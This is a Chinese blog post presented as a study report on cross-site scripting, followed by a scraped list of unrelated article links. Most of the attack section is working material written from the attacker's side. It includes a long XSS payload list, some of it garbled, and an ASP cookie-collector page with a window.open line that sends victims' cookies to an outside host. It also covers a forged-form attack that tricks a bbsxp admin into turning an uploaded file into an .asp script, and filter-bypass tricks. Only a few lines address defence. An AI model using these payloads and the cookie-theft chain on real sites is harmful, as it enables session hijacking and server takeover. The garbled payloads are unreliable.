ynhu33
ynhu33

浅谈Cross Site Script攻击

引言
本文是我以前工作中的一个学习报告，当时头说跨站在渗透中非常重要，不过那个时候真的很少用到，多是注入、代码逻辑领导等等。后来记忆比较深刻的是利用XSS+跨域取值的成功应用了XSS强大之处，由于篇幅问题将原学习报告删减了部分。
什么是跨站
跨站(Cross-Site Scripting)，是攻击者在远程页面中写入了含有恶意代码的数据，用户认为该页面是可信任的，当浏览的时候本地浏览器就会执行其中的恶意脚本，而这 个‘行为’就是当前最为流行的web安全漏洞之一，这个行为通过我们的脚本语言，如JavaScript或者VBScript来达到这样的目的，本文以 JavaScript为基础的，在简要的掌握了脚本基础后，才能更深入的理解跨站含义，形成原因、条件、构造。如以下的一些常见的语句：
<IMG SRC=\'#\'" /> <IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=\'#\'" /> <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
<SCRIPT/XSS SRC=\'#\'" //example.com/xss.js”></SCRIPT>
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE=”IMAGE” SRC=\'#\'" /> <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert(“XSS”)>
<IMG DYNSRC=\'#\'" /> <IMG DYNSRC=\'#\'" /> <BR SIZE=”&{alert(‘XSS’)}”>
<IMG SRC=\'#\'" /> <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<?=’<SCRIPT>alert(“XSS”)</SCRIPT>’?>
<A HREF=”javascript:document.location=’http://www.example.com/’”>XSS</A>
<IMG SRC=javascript:alert(‘XSS’)>
<EMBED SRC=\'#\'" //ha.ckers.org/xss.swf” AllowScriptAccess=”always”></EMBED>
a=”get”;
b=”URL(“”";
c=”javascript:”;
d=”alert(‘XSS’);”")”;
eval(a+b+c+d);
我们从其中可以看出，其实形成XSS的条件或者说是方法有很多，简单的说就是只要能够执行脚本代码的地方就存在跨站漏洞，例如在元素的属性等。
如何利用跨站
跨站存在的地方往往在于动态交互的地方，例如留言本、搜索框、论坛等地方，都是存在几率比较高的地方，形成的一些损失主要是如下几种
1.cookie窃取
<%
testfile=Server.MapPath(“cookie.txt”)  //设置一个文件名和路径
msg=Request(“msg”)  //对返回的数据进行赋值给msg
set fs=server.CreateObject(“scripting.filesystemobject”)
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(“”&msg& “”)  写入到这个文件
thisfile.close  关闭文件
set fs = nothing
%>
这是一个我们写的存cookies的asp页面源码，将接受的cookie全部存储在cookie.txt文件当中，在跨站语句中我们可以写入
window.open(‘http://www.mysite.com/filename.asp?msg=’+ document.cookie)，当用户访问后将会把对方的cookie信息保存在我们的cookie.txt文件之中，通过cookie我们可以得到 管理员权限、访问用户资料等，根据同源原则，我们可以通过cookie信息访问获得对方的权限
2.模拟攻击
我们也可以直接通过欺骗管理员进行一些操作，例如
http://127.0.0.1/bbsxp/page2.asp?username=<body onload=”javascript:document.forms[0].submit()”>
<form action=”http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf” method=”post”>
<input value=”/UploadFile/日期/200512365.jpg” name=”yl” >
<input value=”database/haha.asp” name=”bf” >
</body></html>
上面是关于以前的一个bbsxp的一个跨站漏洞，当用户访问了
http://127.0.0.1/bbsxp/page2.asp?username=<body onload=”javascript:document.forms[0].submit()”>这个页面的时候，将会提交数据，提交的信息在如 下说明了，这个脚本会自动把/UploadFile/日期/200512365.jpg备份成database/haha.asp，也就是说我们可以通过 脚本让管理员执行一些对方不想执行的过程，而这个操作可能是具有高度危险性质的，当然这个过程我们可以隐藏起来。
3.反射(Reflection)攻击
此攻击模式是在input中输入信息来构造攻击语句，例如我们有这样的一个页面
<%
Response.Write(“Hello world! “)
Response.Write(Request.QueryString(“test”))
%>
这个页面非常简单，我们通过一个数据提交表单(test)提交后将会在新的页面显示hello word!‘数据信息’，这里的数据信息是我们提交的内容，当我们提交一些不常规的数据的时候，例 如：<scirpt>alert(document.cookie)</script><body>的时候就不一样 了，那么我们的请求就是http://siteadd/数据页面.asp?test=<scirpt> alert(document.cookie)</script><body>，这样我们的页面中就插入了攻击代码，当然这并不 是唯一的，还有其他的几种这里就不一一列举了，我们提交的代码当然可以经过多种加密，用户就无法识别，前提是我们的web浏览器可以识别您的加密后的代 码。
4.元素炸弹
我们对提交数据一般验证比较严格，不过我们还可以从一些网页元素上下手，例如这样的一个语句：
<img onerror=j/**/a/**/va/**/scr/**/ipt:aler/**/t(docu/**/ment.co/**/oki/**/e)
我将代码中插入/**/这样语句，为了便于识别，没有再次的进行编码转换，其实我们在某些时候可以修改元素或者提交这样的信息来达到最终效果，应该在DOM中，元素是可以运行javascript脚本的，所以称之为元素炸弹，而且还是一个不定时的危险品。
关于以上几种不一样的方法，只是简单的描述，跨站攻击的表现形式远远不只这几种，应该说只要能想到的，XSS都能够实现，不过是没有发现实现的方式而已， 另外我们在查找漏洞过程种主要在用户输入代码的地方有没有对数据进行”〈”,”〉”,”;”,”’”等字符是否做过滤，还有要注意的是对于标签的闭合。
对于一些过滤过的字符，我们可以尝试通过多种方法来实现我们的目的，例如字符转换，或者改变的构造语句，来绕过其过滤，例如程序过滤了 javascript，我们可以写作java/**/script或者一些其他的写法，这样可以帮助我们更好的验证它是否存在跨站攻击的可能。
如何解决
目前不少的大型网站都存在或多或少的跨站漏洞，我们应该高度重视跨站的这个问题
我们在做安全措施应该考虑到一下几个方面：
1.尽可能的检查所有产生动态页面的代码
2.对动态页面的内容检测是否有非安全信息的输入
3.对输入输出的信息进行过滤或者编码转换等

你可能感兴趣的:(职场,休闲,跨站)

  • 恩小希美食成长日记之118：“摘星女神”王亚平归来，她的婚姻，治愈了多少职场女性的痛 恩小希
    上周最为热闹的消息,无疑是神舟13号的三位航天英雄回来了.其中,最为瞩目的就是王亚平.她是我国首位进行太空行走的女航天员,也是为自己小女儿“摘星星的妈妈”。作为最受关注的职场妈妈，王亚平之所以能够成就这样一番事业，跟背后默默支持她的丈夫--赵鹏分不开。01王亚平1980年出生于山东烟台。父母都是地地道道的农民。王亚平这个姑娘从小体质好，一直练习长跑。高中时，空军来家乡招收女飞行员，作为体育班里唯一
  • 38岁，男，月薪3500：受害者思维，正在透支你的人生 阿聊不见了
    大家好，我是阿聊。前段时间回老家的时候，碰到一个以前的邻居。这位邻居，曾经一度是妈妈口中的“别人家的孩子”。在大学生还没泛滥的时候，考上了大学，毕业后听从家里安排，回到小县城，进了一家事业单位。谁知，工作后，他的人生仿佛突然就开始走起了下坡路。工作多年，岗位就没挪动过，近二十年的职场生涯，甚至只被提拔了一次，如今38岁了，月薪3500，且涨薪无望。婚姻也不顺利，30岁左右成婚，婚后不到3年，妻子跟
  • 微信公众号写作：如何通过文字变现？ 氧惠爱高省
    微信公众号已成为许多人分享知识、表达观点的重要平台。随着自媒体的发展，越来越多的人开始关注微信公众号上写文章如何挣钱的问题。本文将详细探讨微信公众号写作的盈利模式，帮助广大写作者实现文字变现的梦想。公众号流量主就找善士导师（shanshi2024）公众号：「善士笔记」主理人，《我的亲身经历，四个月公众号流量主从0到日入过万！》公司旗下管理800+公众号矩阵账号。代表案例如：爸妈领域、职场道道、国学
  • 月薪10000的人过着怎样的生活？ 觉得不是很ok
    月薪10000对于初入职场的人来说是个不错的数字但现实中，月薪过万的职场人到底过着什么样的生活呢？我们不妨来算一笔账！下来是申请原创要求的三百字，头条哥p图到凌晨两点我容易吗容易吗容易吗容易吗容易吗容易吗易吗容易吗不容易接下来是申请原创要求的三百字，头条哥p图到凌晨两点我容易吗容易吗容易吗容易吗容易吗容易吗容易吗容易吗不容易接下来是申请原创要求的三百字，头条哥p图到凌晨两点我容易吗容易吗容易吗容易
  • 冬游颐和园简易攻略 和佛陀去赏花
    持续记录431天（2019.2.8）阅读打卡第212天：《穷查理宝典》1394-1461。朗诵记录第213天：今天是朗诵的第32周第5天，日常绕口令练习《喇嘛和哑巴》，《论语•述而第七》（二）七点四十醒来，老妈做些早餐，饭毕，我们祖孙三人九点出门，今天计划颐和园。颐和园在最初建造的时候就是为了祝寿所用，作为皇家园林，在规划上颐和园共分为三个区域：生活区（佛香阁），行政区（仁寿堂），游玩休闲区（昆明
  • 王心傲：如何用一句话，让对方自乱阵脚，自取灭亡 王心傲
    我曾经无数次讲过，我们想要真刀真枪的和一个人战斗，那结果无非是两败俱伤，而且输赢犹未可知。图片发自App就好比在职场里，有人说你坏话；就好比生活里，有人跟你争夺女友等等，你若是因为他们恶意中伤你，也明显的对着干，那么很可能吃苦头，而且难以解决问题。其实，对于这种情况，最好的做法是：影响。影响到他们自乱阵脚，自取灭亡。这个呢也是我今天要给你讲的，通过打乱对方的【潜意识习惯】，从而打乱对方的节奏，让对
  • 小牛想要进大厂，距离拿百万高薪，进入AI行业你还缺哪些？ TsingtaoAI 人工智能
    本文由小文聊AI原创，有需要的可转发分享对于很多打工人来说，想要拿百万年薪仿佛是天方夜谭，但其实了解AI行业的从业者都知道，有了核心求职能力，以及对职场的认知，再加上对AI技术资源的掌握，进入到一些互联网大厂后，拿到百万年薪不是梦。但对于很多小牛来说，如何能够进入大厂，什么样的人才才能够进入大厂，脑袋里都是空白。那么，究竟什么样的人才具有小牛的潜质呢？来看贪心科技涨薪100%计划-AI职业自由，包
  • 复盘：视听说3、4单元，精读4单元 任贤芳
    Part11，从本单元中我学到的最重要的理念（精读和视听说分别总结）视听说3：休闲时间去做自己想做的事情，度过一个让自己开心而又快乐的时光，比如健美操、烧烤、野餐、瑜伽、更刺激的还有蹦极、攀岩、卡丁车……虽然疫情封闭，但我们仍旧可以在校园中寻找快乐，比如去拍照，一起野餐，玩游戏，封闭的校园封不住我们的快乐与激情，封不住我们的青春快乐。视听说4：聚光灯下生活一般是指名人或者明星以及对社会有较大影响的
  • 2025 最强 Agent 智能体 学习笔记 (71) 一刀7段 学习笔记人工智能
    Agent智能体的系统学习与职业发展核心内容概览本集是《2025最强Agent智能体全套教程》的第72集，聚焦Agent智能体领域的系统学习方法与职业发展路径，系统梳理了从入门到专家的能力体系、关键学习资源、职业方向选择及行业发展机遇。内容结合技术趋势与职场需求，为不同背景的学习者（学生、开发者、转行人士）提供清晰的成长蓝图，帮助其在Agent智能体领域高效成长，实现职业目标。系统学习的能力体系与
  • 《婚后，诱她上瘾》时也霍铭川（完结篇）全文免费阅读【笔趣阁】 海边书楼
    《婚后，诱她上瘾》时也霍铭川（完结篇）全文免费阅读【笔趣阁】主角：时也霍铭川简介：职场小透明，年会上喝醉，敲开了总裁的房门。“霍总，听说能睡到你的女人，上辈子是拯救了银河系？关注微信公众号【海边书楼】去回个书号【10】，即可阅读【婚后，诱她上瘾】小说全文！第1章我把上司给睡了，就在年会结束的那天晚上。醒来后，看着上司裸露的八块腹肌，我吞了吞口水：“我……要失业了吗？”上司冷漠的眼神看过来：“结婚，
  • 2023-04-28《举杯畅饮的姐姐们》定档0428，三个女人一台戏，铁三角乘风破浪 娱娱鱼
    都市情感治愈短剧《举杯畅饮的姐姐们》定档0428。曾用名《开怀畅饮的姐姐们》。据说改编自韩剧《酒鬼都市的女人们》。金莎饰演的瞿洋，刘芸饰演的郭欣婷，双女主设定很带感。她们曾经在综艺《乘风破浪的姐姐2》中有过合作，这次的二度合作令人期待。加上姜嫄饰演的吴沛沛，组成铁三角闺蜜团。都说三个女人一台戏，更何况剧中有将近十个女人。该剧以中女时代为背景，以酒元素为契机，关注当代女性在职场和生活中的境遇，将她们
  • 年底了，为什么还有很多人选择裸辞？他们心里怎么想的？ 无顾有长风
    距离今年春节过年仅有二十来天，各大公司都在忙着做年底的结算，该总结的总结，该开年会的开年会，有一些其他的想法都会等着明年开春再说，毕竟在春节来临之际，其他的事情都要让路。每年的三四月份号称“金三银四”，职场上跳槽和招聘都很频繁，届时换工作有更好的选择和更多的机会。一般情况下，很少人会选择裸辞，特别是在年底之前裸辞，除非有特殊的原因。最近看到很多人在网上发帖说自己刚刚裸辞，到底是啥原因让他们逆常规而
  • 职场圆梦手册—1月份总结回顾篇 陆游学苑
    在2020年1月1日给自己制定了自己年度个人规划，从圆方规划图的八个维度：个人成长、自我实现、职业发展、财务、朋友及重要他人，家庭、健康、休闲娱乐来做的，见自己的文章《2020年度个人规划—培训陆游》。本来是打算以月度来进行回顾的，不过这个春节因为众所周知的原因，没有进行回顾，正好借着今天这个时间，来对自己1月份的完成情况进行一个回顾，后期还是要坚持进行月度和周度的回顾，不断看自己是否偏离了自己的
  • 工作能力强的人有哪些共同特征？ 郭强GQ
    知乎上这个问题有1231个回答，关注者127,576，被浏览14,248,085。我摘录了其中一些回答，并与“卓有成效de管理实践”的十个方面对照。请看下文。回答1：（小猫倩倩-产品经理）许多人在职场中，想成为工作强人，却发现努力了没有效果，依旧在平庸中徘徊。这可能是没有做到用“创意工作”替代“日常工作”。表1列出了创意工作的特点对应的卓有成效de管理实践要做的事情，很明显，做好创意性的工作，要践
  • 百思可瑞教育告诉您职场情绪管理不及格？3步学会非暴力沟通 北京百思可瑞教育 北京百思可瑞教育北京百思可瑞教育咨询有限公司百思可瑞教育职场和发展百思可瑞教育北京百思可瑞教育心理咨询师
    引言：当情绪成为职场隐形成本在竞争激烈的职场中，情绪管理能力已成为衡量职业成熟度的重要标尺。某权威机构发布的《2025职场情绪管理白皮书》显示，85.7%的职场人曾因情绪失控做出非理性行为，其中30%导致项目延期或人际破裂。这些数据背后，藏着被忽视的真相：情绪不是敌人，而是未被解码的需求信号。本文将结合非暴力沟通（NVC）创始人马歇尔·卢森堡的经典理论，拆解职场情绪管理的三步法则，助你实现从"情绪
  • 职场检讨术：算计别人就是伤害自己 weixin_34000916
    这种行为所带来的后果，轻则被同事所唾弃，重则失去饭碗，甚至身败名裂。如果你经常抱着把事业上的竞争对手当成“仇人”、“冤家”的想法，想尽一切办法去搞垮对方时，你就有必要检讨了。当你身陷困境时，你会检讨自己吗？作为职场的防身之术，我们不妨学学，以备后用。检讨术之一：你喜欢算计别人吗？任何人都对别人的背后算计非常痛恨，算计别人也是职场中最危险的行为之一。这种行为所带来的后果，轻则被同事所唾弃，重则失去饭
  • 公众号流量主收益如何计算?流量主收益高吗? 氧惠_飞智666999
    微信公众号作为重要的内容创作与分发平台，吸引了大量的创作者与商家。公众号流量主作为微信平台为优秀创作者提供的一种变现方式，备受关注。那么，公众号流量主的收入究竟如何呢？本文将对此进行深入探讨。公众号流量主就找善士导师（shanshi2024）公众号：「善士笔记」主理人，《我的亲身经历，四个月公众号流量主从0到日入过万！》公司旗下管理800+公众号矩阵账号。代表案例如：爸妈领域、职场道道、国学中庸、
  • 2024国内游戏平台排行榜 目前最热门的国内游戏平台推荐 会飞滴鱼儿
    免费在线游戏网站为我们的日常休闲娱乐提供了丰富多样的游戏体验。有些游戏平台相当优质，同时还提供实时动态、活动福利等。现在让我们一起探寻哪些免费在线游戏网站值得你投入时间和精力，沉浸在游戏的世界中，畅玩各种好玩的游戏。2024最火的免费游戏网站排行榜大全───┅┈━━━━━━━━┅┈─────────────Top1──────────游戏名字：游戏豹官网-特点-：手机游戏门户网站日活跃量：1.3w
  • 你的人生，由你选择 杨舒羽
    你的人生，是活在他人的期待中，还是掌握在自己的手中。你会为了安全感，为了被接纳，而勉强自己吗？如果是，请，记得你才是人生的主角，请勇敢拿回你的选择权。一、职场中，主动选择，是对自己负责小A是医务工作者，近期准备去美国读博士后，可她近期陷入了困境，感觉被生活绑架，找不到出口。小A严谨、细致且学术研究能力强，科室主任安排她参与专业研究，但这个研究方向却不是她所喜欢的，也不在自己的长远规划内；自己的研究
  • 被迫失业三个月后，他居然月入5万？？ Kimi888
    本文适合对内容运营感兴趣，并且想通过内容运营赚钱，实现职业选择自由的职场人、大学生等阅读；内容运营的形式多种多样，但是基本的底层逻辑却是相通的。本文主要拆解如何做内容，以及怎么凭借内容赚钱。2020年疫情突然袭来，很多人被迫失业，没了收入。但也有人在这短短几个月里从被迫失业，凭借内容实现了收入翻番。很多人也很困惑，为什么感觉各大平台上的文章、视频也就justsoso，但是自己就是办不到呢？笔者想说
  • Spring Boot与微服务架构：打造灵活、可扩展的应用！ bug菌¹ 滚雪球学SpringBoot架构springboot微服务微服务架构
    本文精选收录于《滚雪球学SpringBoot》专栏，专为零基础学习者量身打造。从Spring基础到项目实战，手把手带你掌握核心技术，助力你快速提升，迈向职场巅峰，开启财富自由之路！无论你是刚入门的小白，还是已有基础的开发者，都能在这里找到适合自己的学习路径！  关注、收藏、订阅，持续更新中！和我们一起高速成长，突破自我！全文目录：**前言****什么是微服务架构？**微服务架构的关键特点：微服务架
  • 写给初入职场的你（2） 佳爷2020
    好了，昨天我们谈了沟通的两个方面，今天我接着说沟通三个维度，限于篇幅，我尽量少说一点。//01//先说向上沟通，我主要想要强调的是：一定要积极主动的去找自己的直属领导，回报自己的工作近况和遇到的问题，以及一些自己的想法。首先这是因为刚开始的时候，我们就是一个相互熟悉，相互了解的阶段。我希望快速的了解领导的工作方式，领导也需要快速的了解我的工作能力。如果双方都不沟通，那么就只能在一次又一次的实战任务
  • 从网上接单干活挣钱，网上接单平台推荐 配音就业圈
    在当今这个数字化时代，利用网络平台接单工作，不仅成为了一种灵活高效的赚钱方式，更是许多自由职业者、技能达人和兼职爱好者的首选。如果你渴望打破传统职场束缚，凭借自己的专业技能或独特才艺赚取收入，那么网上接单无疑是一条充满机遇的道路。下面，我将以有说服力的语气，为你推荐几个优质的网上接单平台，并阐述其为何值得你一试。###1.配音新手圈是鼎音传媒公司开发的在线兼职公众号,职位包括:写手、程序开发、剪辑
  • 佣金高的返利APP有哪些?高省和返利网哪个平台返利高？ 高省APP
    高省app的返利更高。高省app被广泛认为是返利最高的软件，它提供了高额的返利和补贴，接入京东、天猫、淘宝、拼多多、唯品会、饿了么等平台的隐藏大额优惠券和百亿补贴。高省与众多商家联盟达成合作，为用户提供购物、餐饮、休闲娱乐及本地生活服务等领域的高额返利消费优惠。相比之下，返利网虽然也是一款提供返利的APP，用户通过它可以省下更多的钱，因为它与很多电商品牌进行合作，提供较大的折扣力度和多样的商品选择
  • 可以选择自学哪些技能当副业呢? 测评君高省
    很多人步入社会之后，都会发现身边优秀的人越来越多，而自己还是原地踏步，进而开始焦虑不安，那么怎么改变这种现状呢？怎么才能跟别人一样有一份稳定的副业呢？小编给大家总结了一些经验，一起来看下吧。学习多个后期技能，比如PS,AI,PR等。有条件的小伙伴可以在网上找一些免费的学习视频，这些软件入门都不难，一般学习一两月就可以满足基本的技能需求，而这些技能就是你在职场中的加分项。如果有小伙伴想转行的话，可以
  • 初学写作，标题写不好，别人看都不看！ 讨喜的鱼
    文/一直正经的鱼奇葩说第一季节目中，有个辩题是：这是不是一个看脸的社会。对于我这种长得丑的人来说，我更愿意答案是不是。而我更同意蔡康永的观点，看脸是最方便的。就像我们的标题，要是第一眼就看不上，内容写得再好也是白搭。子曰：“温故而知新，可以为师矣。”之前学习了星姐的下班后的写作课，有节课程是讲如何写好标题，与大家共勉！01：指明身份，增加带入感你是要写给谁看的，育儿的妈妈，职场打拼的员工，还是创业
  • 2024年Go实战(三)-数组array、切片slice语法详解，入职阿里啦 2401_84910869 程序员go学习面试
    网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。需要这份系统化的资料的朋友，可以添加戳这里获取一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！1.1数组定义语法：vara[len]inte.
  • 品牌高仿服装哪里进货，3分钟讲解攻略及经验大全 天坛众
    品牌高仿服装哪里进货渠道可谓五花八门、多种多样，这其中的门道可深着呢！具体来说，可以依据服装的不同类别来加以区分和选择合适的进货途径。比如说，如果是时尚潮流类的服装，那么一些大型的服装批发市场或者与知名设计师合作的工作室可能会成为理想的进货源头；而对于经典款式的正装，则不妨考虑直接从品牌厂家那里批量采购，以确保品质和风格的纯正性；若是运动休闲系列的服饰，也许跟专业的体育用品供应商建立长期稳定的合作
  • 每个人都是一座孤独的城 旗木洛卡卡
    每个人的心底都有一处孤独的地方，那是一种与生俱来的孤寂，一种在喧嚣尘世的落寞，一种无法言说的感觉。那里即坚硬又柔软，既有阳光又很阴暗，即渴求有人来陪伴又拒绝别人的打扰。那里既有不可言说的秘密又有不想公示的小情绪。随着年龄的增长，孤独感会越来越重。面对喧嚣的尘世，越来越喜欢独处一隅。晚上跑步会尽量避开人多的公共场合走一条幽静的小路，一个人享受夜色的静怡放松白天打拼在职场的劳累；比起亲朋聚会更喜欢一个
  • 不爱打扮的郑爽，凭借“蝴蝶背”美出新高度 文娱综艺
    不爱打扮的郑爽，也开始打扮起来了。爱美之心人皆有之，没有一个人不在意自己的形象，只是分场合不同，有着不同着装打扮。穿着打扮不仅是对别人的尊重，也是对自己的一种尊重。穿着打扮能够让人觉得舒服，赏心悦目、也是对人的基本礼貌，和对人的一种尊重。了解郑爽的观众和粉丝都知道，郑爽可以说在娱乐圈是“一股清流”风格。做事做人都有自己风格，有着自己倔强独特的个性。很多事情都不按常理出牌，也不爱常打扮，平常穿着休闲
  • 对股票分析时要注意哪些主要因素？ 会飞的奇葩猪 股票 分析 云掌股吧
    　　众所周知，对散户投资者来说，股票技术分析是应战股市的核心武器，想学好股票的技术分析一定要知道哪些是重点学习的，其实非常简单，我们只要记住三个要素：成交量、价格趋势、振荡指标。     一、成交量 　　大盘的成交量状态。成交量大说明市场的获利机会较多，成交量小说明市场的获利机会较少。当沪市的成交量超过150亿时是强市市场状态，运用技术找综合买点较准；
  • 【Scala十八】视图界定与上下文界定 bit1129 scala
    Context Bound，上下文界定，是Scala为隐式参数引入的一种语法糖，使得隐式转换的编码更加简洁。   隐式参数 首先引入一个泛型函数max，用于取a和b的最大值 def max[T](a: T, b: T) = { if (a > b) a else b }  因为T是未知类型，只有运行时才会代入真正的类型，因此调用a >
  • C语言的分支——Object-C程序设计阅读有感 darkblue086 applec框架cocoa
    自从1972年贝尔实验室Dennis Ritchie开发了C语言，C语言已经有了很多版本和实现，从Borland到microsoft还是GNU、Apple都提供了不同时代的多种选择，我们知道C语言是基于Thompson开发的B语言的，Object-C是以SmallTalk-80为基础的。和C++不同的是，Object C并不是C的超集，因为有很多特性与C是不同的。 Object-C程序设计这本书
  • 去除浏览器对表单值的记忆 周凡杨 html记忆autocompleteform浏览
                                       &n
  • java的树形通讯录 g21121 java
    最近用到企业通讯录，虽然以前也开发过，但是用的是jsf，拼成的树形，及其笨重和难维护。后来就想到直接生成json格式字符串，页面上也好展现。 // 首先取出每个部门的联系人 for (int i = 0; i < depList.size(); i++) { List<Contacts> list = getContactList(depList.get(i
  • Nginx安装部署 510888780 nginxlinux
    Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源
  • java servelet异步处理请求 墙头上一根草 ｊａｖａ异步返回ｓｅｒｖｌｅｔ
    servlet3.0以后支持异步处理请求，具体是使用AsyncContext ，包装httpservletRequest以及httpservletResponse具有异步的功能，        final AsyncContext ac = request.startAsync(request, response);   ac.s
  • 我的spring学习笔记8-Spring中Bean的实例化 aijuans Spring 3
    在Spring中要实例化一个Bean有几种方法： 1、最常用的（普通方法） <bean id="myBean" class="www.6e6.org.MyBean" /> 使用这样方法，按Spring就会使用Bean的默认构造方法，也就是把没有参数的构造方法来建立Bean实例。 （有构造方法的下个文细说） 2、还
  • 为Mysql创建最优的索引 annan211 mysql索引
    索引对于良好的性能非常关键，尤其是当数据规模越来越大的时候，索引的对性能的影响越发重要。 索引经常会被误解甚至忽略，而且经常被糟糕的设计。 索引优化应该是对查询性能优化最有效的手段了，索引能够轻易将查询性能提高几个数量级，最优的索引会比 较好的索引性能要好2个数量级。 1 索引的类型 (1) B-Tree 不出意外，这里提到的索引都是指 B-
  • 日期函数 百合不是茶 oraclesql日期函数查询
      ORACLE日期时间函数大全 TO_DATE格式(以时间:2007-11-02 13:45:25为例) Year: yy two digits 两位年 显示值:07 yyy three digits 三位年 显示值:007
  • 线程优先级 bijian1013 javathread多线程java多线程
    多线程运行时需要定义线程运行的先后顺序。 线程优先级是用数字表示，数字越大线程优先级越高，取值在1到10，默认优先级为5。 实例： package com.bijian.study; /** * 因为在代码段当中把线程B的优先级设置高于线程A,所以运行结果先执行线程B的run()方法后再执行线程A的run()方法 * 但在实际中，JAVA的优先级不准，强烈不建议用此方法来控制执
  • 适配器模式和代理模式的区别 bijian1013 java设计模式
    一.简介        适配器模式：适配器模式（英语：adapter pattern）有时候也称包装样式或者包装。将一个类的接口转接成用户所期待的。一个适配使得因接口不兼容而不能在一起工作的类工作在一起，做法是将类别自己的接口包裹在一个已存在的类中。      &nbs
  • 【持久化框架MyBatis3三】MyBatis3 SQL映射配置文件 bit1129 Mybatis3
     SQL映射配置文件一方面类似于Hibernate的映射配置文件，通过定义实体与关系表的列之间的对应关系。另一方面使用<select>,<insert>,<delete>，<update>元素定义增删改查的SQL语句， 这些元素包含三方面内容 1. 要执行的SQL语句 2. SQL语句的入参，比如查询条件 3. SQL语句的返回结果
  • oracle大数据表复制备份个人经验 bitcarter oracle大表备份大表数据复制
    前提：    数据库仓库A（就拿oracle11g为例）中有两个用户user1和user2,现在有user1中有表ldm_table1,且表ldm_table1有数据5千万以上，ldm_table1中的数据是从其他库B（数据源）中抽取过来的，前期业务理解不够或者需求有变，数据有变动需要重新从B中抽取数据到A库表ldm_table1中。    
  • HTTP加速器varnish安装小记 ronin47 http varnish 加速
    上午共享的那个varnish安装手册，个人看了下，有点不知所云，好吧~看来还是先安装玩玩！ 苦逼公司服务器没法连外网，不能用什么wget或yum命令直接下载安装，每每看到别人博客贴出的在线安装代码时，总有一股羡慕嫉妒“恨”冒了出来。。。好吧，既然没法上外网，那只能麻烦点通过下载源码来编译安装了！ Varnish 3.0.4下载地址： http://repo.varnish-cache.org/
  • java-73-输入一个字符串，输出该字符串中对称的子字符串的最大长度 bylijinnan java
    public class LongestSymmtricalLength { /* * Q75题目：输入一个字符串，输出该字符串中对称的子字符串的最大长度。 * 比如输入字符串“google”，由于该字符串里最长的对称子字符串是“goog”，因此输出4。 */ public static void main(String[] args) { Str
  • 学习编程的一点感想 Cb123456 编程感想Gis
           写点感想，总结一些，也顺便激励一些自己.现在就是复习阶段，也做做项目.      本专业是GIS专业，当初觉得本专业太水，靠这个会活不下去的，所以就报了培训班。学习的时候，进入状态很慢，而且当初进去的时候，已经上到Java高级阶段了，所以.....，呵呵，之后有点感觉了，不过，还是不好好写代码，还眼高手低的，有
  • [能源与安全]美国与中国 comsci 能源
         现在有一个局面：地球上的石油只剩下N桶，这些油只够让中国和美国这两个国家中的一个顺利过渡到宇宙时代，但是如果这两个国家为争夺这些石油而发生战争，其结果是两个国家都无法平稳过渡到宇宙时代。。。。而且在战争中，剩下的石油也会被快速消耗在战争中，结果是两败俱伤。。。       在这个大
  • SEMI-JOIN执行计划突然变成HASH JOIN了 的原因分析 cwqcwqmax9 oracle
    甲说： A B两个表总数据量都很大，在百万以上。 idx1  idx2字段表示是索引字段 A B 两表上都有 col1字段表示普通字段 select xxx from A where A.idx1 between mmm and nnn      and exists (select 1 from B where B.idx2 =
  • SpringMVC-ajax返回值乱码解决方案 dashuaifu AjaxspringMVCresponse中文乱码
      SpringMVC-ajax返回值乱码解决方案   一：（自己总结，测试过可行） ajax返回如果含有中文汉字，则使用：（如下例：） @RequestMapping(value="/xxx.do")       public @ResponseBody void getPunishReasonB
  • Linux系统中查看日志的常用命令 dcj3sjt126com OS
    因为在日常的工作中，出问题的时候查看日志是每个管理员的习惯，作为初学者，为了以后的需要，我今天将下面这些查看命令共享给各位 cat tail -f 日 志 文 件 说 明 /var/log/message 系统启动后的信息和错误日志，是Red Hat Linux中最常用的日志之一 /var/log/secure 与安全相关的日志信息 /var/log/maillog 与邮件相关的日志信
  • [应用结构]应用 dcj3sjt126com PHPyii2
    应用主体 应用主体是管理 Yii 应用系统整体结构和生命周期的对象。 每个Yii应用系统只能包含一个应用主体，应用主体在 入口脚本中创建并能通过表达式 \Yii::$app 全局范围内访问。 补充: 当我们说"一个应用"，它可能是一个应用主体对象，也可能是一个应用系统，是根据上下文来决定[译：中文为避免歧义，Application翻译为应
  • assertThat用法 eksliang JUnitassertThat
    junit4.0  assertThat用法 一般匹配符1、assertThat( testedNumber, allOf( greaterThan(8), lessThan(16) ) ); 注释： allOf匹配符表明如果接下来的所有条件必须都成立测试才通过，相当于“与”（&&） 2、assertThat( testedNumber, anyOf( g
  • android点滴2 gundumw100 应用服务器android网络应用OSHTC
    如何让Drawable绕着中心旋转？ Animation a = new RotateAnimation(0.0f, 360.0f, Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF,0.5f); a.setRepeatCount(-1); a.setDuration(1000); 如何控制Andro
  • 超简洁的CSS下拉菜单 ini htmlWeb工作html5css
